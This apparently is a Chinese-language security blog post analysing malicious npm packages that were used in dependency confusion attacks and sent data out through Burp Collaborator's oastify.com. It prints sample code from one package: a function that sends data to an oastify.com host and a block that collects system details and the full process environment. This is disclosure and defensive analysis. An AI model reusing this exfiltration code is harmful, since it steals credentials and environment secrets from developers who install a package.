恶意npm包利用Burp Collaborator实施依赖混淆攻击

目录

近期,一则 Hacker News 讨论帖子 "Snyk 安全研究员部署恶意 NPM 包针对 cursor.com" 展示了利用 Burp Collaborator 的 oastify.com 作为数据外泄的命令与控制(C2)服务器的有趣见解。在该案例中,该研究员向公共 npm 注册表发布了多个 npm 包,显然是为了以 Cursor 的内部包为目标的依赖混淆攻击。

SafeDep 分析

我们的恶意包扫描器部署用于监控 npm 注册表中的恶意包,在 2025 年 1 月期间发布的多个包中发现了类似模式。事实上,一个简单的查询就识别出了 50 多个此类包。

查看一个样本

我们仔细查看了其中一个样本 pkg:/npm/patternfly-v5/[email protected]。该样本包含以下文件:

plaintext
-rw-r--r-- 1 dev wheel 1365 Oct 26 1985 index.js -rw-r--r-- 1 dev wheel 283 Oct 26 1985 package.json -rw-r--r-- 1 dev wheel 0 Oct 26 1985 patternfly-addons.css -rw-r--r-- 1 dev wheel 0 Oct 26 1985 patternfly.min.css

package.json 有一个 postinstall 脚本用于执行有效载荷:

json
{ "name": "@patternfly-v5/patternfly", "version": "1.0.2", "description": "A package for testing supply chain attacks.", "main": "index.js", "scripts": { "postinstall": "echo 'Patternfly malicious package executed!'" }, "author": "Your Name", "license": "MIT" }

有效载荷位于 index.js 中,包含数据外泄逻辑,例如:

javascript
function sendData(path, data) { const options = { hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com', port: 443, path: \`/${path}\`, method: 'GET', headers: { 'Content-Type': 'application/json', }, }; const req = https.request(options, (res) => { console.log(\`Status: ${res.statusCode}\`); }); req.on('error', (error) => { console.error(\`Error: ${error.message}\`); }); req.write(JSON.stringify(data)); req.end(); }

随后是系统信息收集代码:

javascript
const systemInfo = { hostname: os.hostname(), platform: os.platform(), arch: os.arch(), release: os.release(), userInfo: os.userInfo(), networkInterfaces: os.networkInterfaces(), env: process.env, };

使用 oastify.com 进行外泄的示例包

报告
[email protected]🔗 01JGPYQTZJGM0Y5BYZWZ0757P3
[email protected]🔗 01JH3FWEBCCXBGGRTN286Z5ARP
@patternfly-v5/[email protected]🔗 01JH0BKSY7Y2DNG7QB137S6J6F
[email protected]🔗 01JH01T0FQQ14NX3DKNJXG0SPC
[email protected]🔗 01JF2FS909Y3SHC099S6ETY7X1
[email protected]🔗 01JF1PE7YACMTYBQGG59VVHDZ1

结论

所有包在性质上看起来都相似,即利用 Burp Suite 的 Collaborator 服务作为公共端点来捕获外泄的数据。我们没有观察到任何复杂性或试图隐藏恶意行为的尝试。这可能表明是红队活动或技术不太成熟的威胁行为者。

  • npm
  • malware

SafeDep 博客最新内容

关注以获取开源安全与工程方面的最新更新和见解